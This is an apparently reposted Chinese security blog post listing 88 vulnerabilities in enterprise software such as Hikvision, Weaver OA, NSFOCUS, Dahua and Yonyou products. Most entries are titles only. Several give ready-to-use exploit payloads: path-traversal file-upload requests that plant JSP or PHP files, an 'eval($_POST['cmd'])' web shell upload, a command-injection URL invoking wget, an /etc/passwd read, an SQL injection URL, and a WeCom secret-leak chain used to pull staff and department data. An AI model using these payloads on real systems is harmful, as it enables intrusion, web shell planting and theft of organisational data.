【蛟龙出海】超级高保真，拓尔思6个 day

admin
admin
admin
103417
文章
87
评论
2023年8月13日19:39:18【蛟龙出海】超级高保真，拓尔思6个 day已关闭评论305 views字数 10113阅读33分42秒阅读模式

蛟龙出海


1.Alibaba Nacos默认 secret.key 配置不当导致认证绕过漏洞


2.Apache axis远程命令执行漏洞


3.Apache Struts2 远程代码执行漏洞


4.Dahua DSS 平台远程代码执行漏洞


5.Dahua Fastjson反序列化漏洞


6.Dahua 任意文件上传漏洞


7.Discuz 后台文件包含漏洞

8.Discuz! admincp_misc.php SQL注入漏洞

9.ewebeditor 文件上传漏洞

10.eYou print_addfreelog.php SQL注入漏洞

11.Fortinet SSL-VPN 缓冲区溢出漏洞(CVE-2023-27997)

12.H3C CVM任意文件上传漏洞

13.Hadoop未授权访问漏洞

14.Hikvision iSecure Center 文件上传漏洞

15.HiKVISION 综合安防管理平台 env 信息泄漏漏洞

/artemis-portal/artemis/env

16.HiKVISION 综合安防管理平台 files 任意文件上传漏洞

POST /center/api/files;.html HTTP/1.1Host: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54aContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"Content-Type: application/zip

<%out.print("test3");%>

------WebKitFormBoundary9PggsiM755PLa54a--

17.HiKVISION 综合安防管理平台 report 任意文件上传漏洞

WEB-INF/classes/com/hikvision/svm/controller/ExternalController.class
WEB-INF/classes/com/hikvision/svm/business/serivce/impl/ExternalBusinessServiceImpl.class
POST /svm/api/external/report HTTP/1.1Host: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54aContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"Content-Type: application/zip

<%out.print("test");%>

------WebKitFormBoundary9PggsiM755PLa54a--

路径

/portal/ui/login/..;/..;/new.jsp

18.HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞

<?php          $file_name = $_GET['fileName'];          $file_path = '../../../log/'.$file_name;          $fp = fopen($file_path, "r");          while($line = fgets($fp)){            $line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));            echo '<span style="font-size:16px">'.$line.'</span>';          }          fclose($fp);?>
/serverLog/showFile.php?fileName=../web/html/main.php

19.Jeesite目录穿越漏洞

20.JEEWMS权限绕过漏洞

21.PHP环境 XML外部实体注入漏洞

22.ShowDoc 任意文件上传漏洞

23.Smartbi 远程代码执行漏洞

24.ThinkPHP parseSql方法SQL注入漏洞

25.TRS WCM越权直接创建任意用户漏洞

26.UEditor任意文件上传漏洞

27.Weaver OA任意文件上传漏洞

28.Weaver OA远程代码执行漏洞

29.WPS Office远程代码执行漏洞

30.Yonyou NC NCMessageServlet 远程代码执行漏洞

31.用友移动管理系统uploadApk.do任意⽂件上传漏洞

32.万户ezOFFICE 任意文件上传漏洞

33.万户OA文件上传漏洞

34.亿赛通任意文件上传漏洞

35.亿邮Email Defender系统免登录DBA注入漏洞

36.华夏ERP-SQL注入漏洞

37.华天OA OAapp远程代码执行漏洞

38.大华远程代码执行漏洞

39.奇安信VPN远程代码执行漏洞

40.奇安信天擎远程代码执行漏洞

41.安恒 明御运维审计与风险控制系统 xmlrpc.sock 任意用户添加漏洞

42.广联达 Linkworks GetIMDictionary SQL注入漏洞

43.广联达oa GetIMDictionary sql注入漏洞

44.广联达oa后台文件上传漏洞

45.广联达协同办公管理平台EmailAccountOrgUserService.asmx SQL注入漏洞

46.广联达协同办公管理平台GetAllUsersXml信息泄露漏洞

47.拓尔思TRS MAS 远程代码执行漏洞

48.拓尔思TRS SQL注入漏洞

49.拓尔思TRSWCM 后台GETSHELL代码执行漏洞

50.拓尔思TRS系统任意文件下载漏洞

51.拓尔思WAS代码注入漏洞

52.泛微 E-Cology 前台文件上传漏洞

53.泛微 E-Office ajax.php mobile_upload_save 任意文件上传漏洞

54.泛微 OA 任意文件读取漏洞

55.泛微-E-office 前台文件包含漏洞

56.泛微E-Office uploadify.php后台文件上传漏洞

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Connection: closeContent-Length: 259Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4Accept-Encoding: gzip

--e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="Filedata"; filename="2TrZmO0y0SU34qUcUGHA8EXiDgN.php"Content-Type: image/jpeg

<?php echo "2TrZmO0y0SU34qUcUGHA8EXiDgN";unlink(__FILE__);?>

--e64bdf16c554bbc109cecef6451c26a4--

路径

/attachment/3466744850/xxx.php

57.泛微E-Office远程代码执行漏洞

58.泛微OA SQL注入漏洞

59.深信服 应用交付管理系统 login 远程命令执行漏洞

60.用友 Erp U8任意文件上传漏洞

61.用友 NC Cloud jsinvoke 任意文件上传漏洞

62.用友 移动管理系统 uploadApk.do 任意文件上传漏洞

63.用友GRP-U8 U8AppProxy任意文件上传漏洞

64.用友NC BeanShell远程代码执行漏洞

65.用友NC信息泄露漏洞

66.用友NC反序列化远程代码执行漏洞

67.用友移动管理系统uploadApk.do任意文件上传漏洞

68.红帆HF Office系统SQL注入漏洞

69.红帆OA任意文件上传漏洞

70.绿盟 NF 下一代防火墙 任意文件上传漏洞

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9Host: 

--1d52ba2a11ad8a915eddab1a0e85acd9Content-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"

lang|s:52:"../../../../../../../../../../../../../../../../tmp/";

--1d52ba2a11ad8a915eddab1a0e85acd9--

分割线

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0efHost: 

--4803b59d015026999b45993b1245f0efContent-Disposition: form-data; name="file"; filename="compose.php"



<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

分割性

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0efHost: 

--4803b59d015026999b45993b1245f0efContent-Disposition: form-data; name="file"; filename="compose.php"



<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

分割线

POST /mail/include/header_main.php HTTP/1.1Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71Host:

cmd=phpinfo();

71.绿盟 SAS 堡垒机 Exec 远程命令执行漏洞

<?php  require_once 'Nsc/Websvc/Response.php';class ExecController extends Cavy_Controller_Action {

  var $models = 'no';

  public function index() {    $command = $this->_params['cmd'];    $ret = 0;    $output = array();    exec($command,$output,$ret);    $result = new StdClass;    if ($ret != 0) {      $result->code = Nsc_Websvc_Response::EXEC_ERROR;      $result->text = "exec error";    }    else {      $result->code = Nsc_Websvc_Response::SUCCESS;      //      $result->text = implode("\n",$output);      $result->text = "WEBSVC OK";    }    $this->_render(array('result'=>$result),'/websvc/result');  }}?>

验证POC

/webconf/Exec/index?cmd=wget%20xxx.xxx.xxx

72.绿盟 SAS 堡垒机 GetFile 任意文件读取漏洞

/webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd

73.绿盟 SAS 堡垒机 local_user.php 任意用户登录漏洞

/api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin

74.网御 ACM上网行为管理系统 bottomframe.cgi SQL注入漏洞

75.网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

76.网神远程代码执行漏洞

77.致远OA未授权上传文件漏洞

78.致远OA远程命令执行漏洞

79.蓝凌OA远程代码执行漏洞

80.通达OA SQL注入漏洞(CVE-2023-4166)

81.通达反序列化漏洞

82.金山远程代码执行漏洞

83.锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

84.锐捷路由器操作系统命令注入漏洞(CVE-2023-3450)

85.腾讯 企业微信 agentinfo 信息泄漏漏洞

/cgi-bin/gateway/agentinfo
#腾讯企业微信企业idqywx.corpid=xxxxxx#腾讯企业微信管理后台的应用密钥qywxapplet.appSecret=xxxxxxxxxxxx#腾讯企业微信管理后台绑定的小程序appidqywxapplet.appid=xxxxxxxxxx#腾讯ocr appid,演示环境使用了腾讯的ocr接口，行方不使用腾讯ocr接口则不必配置这里。配置成"-"即可ocr.tenc.appId=-#腾讯ocr秘钥ocr.tenc.secret=-#网录制视频时分段时长，分钟，如无需求不要改动此项duration=120
https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=xxxxxx&corpsecret=xxxxxx
eQq8YjcgxHOtk39Xu4dxxxxxxxxxxxxxxklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=eQq8YjcgxHOtk39Xu4d30xxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=eQq8YjcgxHOtk39Xu4dxxxxxxxxxxxxxx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=eQq8YjcgxHOtk39Xu4d30rJx0xxxxxxxxxxxxxxLE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&department_id=1&&fetch_child=1
https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=eQq8YjcgxHOtk39Xu4d3xxxxxxxxxxxxxxULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&department_id=1&fetch_child=1
https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=eQq8Yjcxxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&id=963233
https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=eQq8YjcgxHOtk3xxxxxxxxxxxxxxw6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=eQq8YjcgxHOtk39xxxxxxxxxxxxxxi-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
POST /cgi-bin/oa/vacation/getuservacationquota?access_token=eQq8YjcgxHOtk39Xu4xxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1Host: qyapi.weixin.qq.comConnection: closeX-Forwarded-For: 101.226.129.166Content-Type: application/jsonContent-Length: 31

{    "userid": "xxxxxx"}
qq.im.sdkappid=xxxxxxqq.im.privateKey=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxqq.im.identifier=xxxxxxqq.im.apiver=2qq.live.bizid=xxxxxx
eJw1zcEKgkAUheFXkVmH3hkxxxxxxxxxxxxxxv-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list?sdkappid=1400571601&identifier=admin&usersig=eJw1zcEKgkAUxxxxxxxxxxxxxxqW1iiJlr07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json
https://console.tim.qq.com/v4/openconfigsvr/getappinfo?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmxxxxxxxxxxxxxx07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999
https://console.tim.qq.com/v4/open_msg_svc/get_history?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUxxxxxxxxxxxxxxp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json
https://console.tim.qq.com/v4/ConfigSvc/GetIPList?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmH3hkxxxxxxxxxxxxxx9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json
https://tcc.tencentcs.com/im-api-tool/index.html#/v4/group_open_http_svc/get_appid_group_list

86.大华 智慧园区综合管理平台 video 任意文件上传漏洞

POST /publishing/publishing/material/file/video HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 804Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7Accept-Encoding: gzip, deflateConnection: close

--dd8f988919484abab3816881c55272a7Content-Disposition: form-data; name="Filedata"; filename="Test.jsp"

Test--dd8f988919484abab3816881c55272a7Content-Disposition: form-data; name="Submit"

submit--dd8f988919484abab3816881c55272a7--

路径

/publishingImg/VIDEO/230812152005170200.jsp

87.大华 智慧园区综合管理平台 getFaceCapture SQL注入漏洞

/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(123)),0x7e),1)--%22%7D/extend/%7B%7D

88.拓尔思 MAS 任意文件上传漏洞

图片


阅读 10万+

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月13日19:39:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   【蛟龙出海】超级高保真，拓尔思6个 dayhttps://cn-sec.com/archives/1953175.html